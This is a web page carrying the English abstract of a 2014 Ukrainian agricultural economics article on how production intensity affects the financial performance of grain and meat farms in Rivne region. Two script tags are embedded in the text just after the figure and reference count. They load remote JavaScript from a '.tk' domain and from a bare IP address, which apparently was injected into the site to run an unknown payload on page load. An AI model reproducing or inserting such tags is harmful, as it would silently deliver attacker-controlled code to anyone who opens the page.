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Економіка агропромислового виробництва

Connection of the intensive methods of manufacturing and the financial outcomes in agricultural enterprises / Kozak L.V. // Ekonomika APK. - 2014. - № 3 - P. 29

The aim of the study is to evaluate the impact of intensity level of the financial performance of farms in Rivne region in the context of certain types of grain and meat products. On the basis of the method of strategic grouping the author defined the nature of expenses is calculated per hectare (per head for animals fattening) on the yield of grain crops and productivity of animals. Based on the analysis of the dynamics of income per hectare of crop (per head of animals for fattening) in plants with different levels of intensity assesses the economic impact of rising prices of agricultural products and resources that were used in the production process. The results of the study are that the economic conditions of the local farms and their possible introduction of intensive technologies in the production of annual profit is worse because along the period prices for inputs have grown proactively. The scientific novelty of the research lies in the combination of statistical groupings and dynamic analysis; this combination allowed the evaluation of the progress of the aforementioned processes comprehensively and systematically. The practical value of the identified trends in the financial performance of farms with different levels of intensity is that they provide an opportunity to develop a number of proposals for improving their market position in the domestic and global markets. Figs.: 6. Refs.: 10.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: financial performance of farms, the intensity of production, productivity of crops, animal productivity performance

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